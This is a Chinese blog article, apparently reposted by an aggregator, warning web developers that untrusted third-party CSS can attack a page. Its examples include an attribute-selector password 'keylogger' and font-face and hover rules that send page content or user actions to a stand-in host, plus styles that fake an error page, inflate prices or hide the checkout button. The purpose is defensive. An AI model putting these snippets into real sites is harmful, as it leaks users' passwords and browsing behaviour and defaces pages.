web网络安全，不再局限于类似XSSCSRF这样的攻击啦，CSS也要小心啦。。。
Posted JDTech
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了web网络安全，不再局限于类似XSSCSRF这样的攻击啦，CSS也要小心啦。。。相关的知识，希望对你有一定的参考价值。
为了实现高效开发，大多数时候会选择别人实现好的库/组件引用到自己的项目中，但是这样真的安全吗？
大多数web开发者认为只要不使用别人的 JS，安全就会有保证。Too young, too naive，殊不知“黑客”已经开始在 CSS 上做手脚了。
在浏览器设置中用户可以禁用 JS，但是 CSS 却是没有办法禁用的。
首先聊一聊使用第三方资源，能够造成的危害。
图片
<img src="https://img.com/phone.jpg">
引用第三方图片资源，可能会出现2个问题：
图片资源失效
图片资源被替换
上图展示了使用第三方图片可能带来的后果，即使图片资源失效、或者图片资源被替换，只会影响图片自身的状态而不会影响页面其他部分。
脚本
<script src="http://example.com/script.js"></script>
脚本的作用范围就不是图片能够比拟的了，脚本能够随意控制整个页面。
读取、篡改页面内容
监控用户行为
使用用户浏览器的算力进行挖矿
使用用户
cookie做请求，并转发响应读取、篡改浏览器
storageMore
注：因为 localStorage 是持久存储， 所以如果 localStorage 被更改，即使删除了脚本，这些更改仍然不可逆。
只有在信任第三方的情况下，才会选择加载第三方脚本，来保证用户访问的安全性。
下面来介绍本文的重头戏 --- 第三方 CSS。
CSS
CSS 在作用范围的方面更加接近于 JS，因为它同样能在整个页面生效，也能完成部分 JS 的操作。
CSS 能在以下几个方面对页面进行操作：
增、删和改页面内容
根据页面内容发起请求
响应用户交互
与 JS 相比，CSS 不能做到的是修改 storage ，也不能用来挖矿。
键盘记录器
键盘记录器，指的是页面会记录用户的输入。目前这种行为只存在于使用 React / 类React 框架的页面。
input[type="password"][value$="p"] {
background: url(//example.com/password?p);
}
如果密码输入框，输入以 p 结尾的密码，就会发起一个 //exaple.com/password?p 请求。浏览器默认不会记住 input输入框的输入，这也就是为什么说这种行为只存在于使用 React / 类React 框架的页面中，下面截取两个例子。
如果没有使用 React / 类React 框架，输入框的内容不会在 input 标签中显示 value 属性。
某图片网站使用的是 React 框架，会把输入框的内容同步显示在 input 的 value 属性中。这样 CSS属性选择器 [value$="p"] 就能检测用户输入，从而导致用户输入被第三方捕获。
有没有通过这个例子，觉得 CSS 比你想象的强大的多，失控的 CSS 也能对页面造成很大的危害。
隐藏内容
通过一些技巧，将真正的页面内容不展示给用户。
body {
display: none;
}
html::after {
content: 'HTTP 500 Server Error';
}
上例将真正的主体内容隐藏，展示给用户 HTTP 500 错误，让用户误以为是网站服务器出现了问题。
同样可以展示任意 HTTP 错误给用户，网页的常见错误有以下几种：
HTTP 400: 请求无效
HTTP 403: 禁止访问
HTTP 404: 未找到页面
HTTP 500: 内部服务器错误
增加内容
.price-value::after {
content: '9';
}
为价格样式，增加 :before / :after 这样的伪元素，然后伪元素的 content 属性中增加任一位数字，商品价格就增加了约10倍。
商品涨价了诶，估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。
移动内容
.move-purchase-button {
opacity: 0;
position: absolute;
top: 100px;
left: 100px;
}
通过 opacity 将 结算按钮 的透明度设置为100%隐藏元素，让用户不可见，但是依然占据空间。然后再通过一个绝对定位，这样 结算按钮 本来占据的空间就脱离普通流，并且将按钮移动至用户点击不到的位置；同样上述的 CSS 也可以使用简单的 display:none; 去隐藏按钮。
遇到上述情况，用户根本没办法完成购买行为，这种情况对电商网站很伤，导致“只能看不能买”。
监控用户交互
.login-button:hover {
background: url('//example.com/login-button-hover');
}
.login-button:active {
background: url('//example.com/login-button-active');
}
通过上面的代码，可以用来检测用户在登录按钮的交互状态，是 hover 还是 active (点击)，不同的状态会发送不同的请求。
如果页面中适量增加类似 CSS 代码，可以用来做 用户画像 分析。
当然也可以用来做简单链接埋点，记录某个链接的点击。
.link:active::after {
content: url('//example.com/link-1/view/count.php?action=visit');
}
读取页面内容
font-face {
font-family: blah;
src: url(//example.com/page-contains-q) format('woff');
unicode-range: U+71;
}
html {
font-family: blah, sans-serif;
}
伪造一种字体 blah，如果页面中有在 unicode-range 范围内的字符就会发送设置好的请求，我们这里例子是字符 q。
注： @font-face 中的请求会在开发控制台的 Network -> font 类型中看到。
也许你觉得只能检测页面中的单个字符作用很小，那我给你介绍一个css的新属性 font-variant-ligatures，通过这个属性我们可以设置字符为连字效果。
但是目前只有 OpenType 字体支持连字效果，不同的 OpenType 字体连字显示的效果也不一致。
启用连字效果
body {
font-feature-settings: "liga" 1;
}
supports (font-variant-ligatures: common-ligatures) {
body {
font-feature-settings: normal;
font-variant-ligatures: common-ligatures;
}
}
全部都设置完成之后，我们就可以检测特定的连字字符。比如 ff 连字的unicode码就是 \ufb00。
查询 unicode 码对应哪些字符，可以通过 Unicode® character table (https://unicode-table.com/en/) 进行查询。
总结
通过以上的几个 CSS 的例子，你是不是觉得 CSS 也同样强大，不授信的 第三方 CSS 也不可轻易采用。
总结一下，自己的 CSS，还得自己写。。。
以上是关于web网络安全，不再局限于类似XSSCSRF这样的攻击啦，CSS也要小心啦。。。的主要内容，如果未能解决你的问题，请参考以下文章
手动缓存Retrofit+OkHttp响应体，不再局限于Get请求缓存